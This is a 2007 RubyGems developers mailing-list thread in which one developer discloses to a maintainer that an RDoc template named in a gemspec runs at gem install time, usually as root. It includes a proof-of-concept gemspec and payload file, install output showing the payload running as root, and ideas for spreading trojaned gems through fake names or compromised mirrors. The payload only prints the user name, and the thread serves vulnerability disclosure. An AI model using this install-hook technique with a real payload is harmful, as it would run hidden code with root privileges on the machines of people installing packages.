* Eric Hodel ([EMAIL PROTECTED]) wrote:
> On Jan 16, 2007, at 14:11, Paul Duncan wrote:
> > * Eric Hodel ([EMAIL PROTECTED]) wrote:
> >> On Jan 12, 2007, at 22:58, Paul Duncan wrote:
> >>> * Eric Hodel ([EMAIL PROTECTED]) wrote:
> > [snipped]
> >>>> RubyGems does not check installation paths for gems before writing
> >>>> files.
> >>>
> >>> The potential security problems with RubyGems are actually much  
> >>> worse
> >>> than that.  Documentation and tests are executed as the user  
> >>> doing the
> >>> install (which, as you said, is usually root).  That means I can  
> >>> embed
> >>> arbitrary Ruby code in either the documentation template and it will
> >>> usually be run as root.  For example:
> >>
> >> I don't think there's an easy way around this one.
> >
> > Easy is certainly subjective, but there are a couple ways to "fix" the
> > documentation hole:
> 
> Currently no user-generated code is run to create the documentation.   

I'm not sure what you mean by user-generated (do you mean generated by
the author, generated by the end user, or something else), but if I
wanted to install a trojan on thousands of peoples' machines, all I'd
need to do would be to build a malicious gem (see below), called
"rails-2.0" and upload it to my gem directory, then sit and wait.

Alternatively (if I wanted to be a bit less direct about it), I could
break in to one of the mirrors and replace a legitimate gem with a
malicious version that included a trojaned documentation template. 

> The RDoc tool doesn't eval anything, so I think generating  
> documentation is safe.  (Of course, I'm not 100% certain you can't  
> get code eval'd by running RDoc on it, only 99%)

This is simply not true; any code in an RDoc documentation template is
executed at install-time by the installation user (which, again, is
usually root on Unix systems).  Here's the excerpt from the example I
sent previously:

  # relevant contents of malice.gemspec:
  spec = Gem::Specification.new do |s|
    # basic gem stuff here

    # use ./malice.rb as the rdoc template (the contents of this file
    # will be executed as the installation user)
    s.has_rdoc = true
    s.rdoc_options = ['--template', './malice.rb', 'malice.rb']
  end

And here's the contents of malice.rb:

  # THIS CODE WILL BE RUN AS ROOT
  $stderr.puts "hello, i'm running as #{ENV['USER']}"
  exit 0

Finally, here's what happens when we build and install this gem:

  [EMAIL PROTECTED]:~/proj/snippets/ruby/malice> gem --version && gem build 
./malice.gemspec && sudo gem install ./Malicious-Gem-0.1.0.gem
  0.9.0
    Successfully built RubyGem
    Name: Malicious-Gem
    Version: 0.1.0
    File: Malicious-Gem-0.1.0.gem
  Successfully installed Malicious-Gem, version 0.1.0
  Installing ri documentation for Malicious-Gem-0.1.0...
  Installing RDoc documentation for Malicious-Gem-0.1.0...
  hello, i'm running as root                        <-- THAT IS VERY BAD
  [EMAIL PROTECTED]:~/proj/snippets/ruby/malice> 

The gist of the output above is that if you pass RDoc a template (the -T
or --template command-line options) via the Gem specification file, it's
evaluated and _executed at _installation time_ as the _installation user_
(which is usually root on Unix systems).

I've attached both the gemspec and the rb file; feel free to verify this
behavior on your own.

> Running unit tests and building extensions is less-safe.

They're about the same.  Paradoxically, unit tests and building native
extensions may actually be more safe than generating documentation, in
the sense that people reasonably expect both unit tests and compiling
native extensions to execute some sort of packaged code at installation
time, while the same cannot be said about the documentation.

This unintentional side-effect of RDoc is what makes this hidden corner
such a good place to stick malicious code, which is exactly why I'm
making so much noise about it.

> -- 
> Eric Hodel - [EMAIL PROTECTED] - http://blog.segment7.net

-- 
Paul Duncan <[EMAIL PROTECTED]>        OpenPGP Key ID: 0x82C29562
http://www.pablotron.org/               http://www.paulduncan.org/
require 'rubygems'

blurb = 'This is a demonstration of a malicious RubyGem.'

spec = Gem::Specification.new do |s|
  s.platform = Gem::Platform::RUBY

  #### Basic information.

  s.name = 'Malicious-Gem'
  s.version = '0.1.0'
  s.summary = blurb
  s.description = blurb

  s.author = 'Mallory Malice'
  s.email = '[EMAIL PROTECTED]'

  s.require_path = '.'
  s.autorequire = './malice.rb'

  s.files = Dir.glob("**/*").delete_if { |path|
    %w{CVS .svn .hg}.any? { |chunk| path.include?(chunk) }
  }

  s.has_rdoc = true
  s.rdoc_options = ['--template', './malice.rb', 'malice.rb']
end
#
# Hello, I am an ordinary module.  Nothing to see here.
# 
module Malice
end

# THIS CODE WILL BE RUN AS ROOT
$stderr.puts "hello, i'm running as #{ENV['USER']}"
exit 0

Attachment: signature.asc
Description: Digital signature

_______________________________________________
Rubygems-developers mailing list
[email protected]
http://rubyforge.org/mailman/listinfo/rubygems-developers

Reply via email to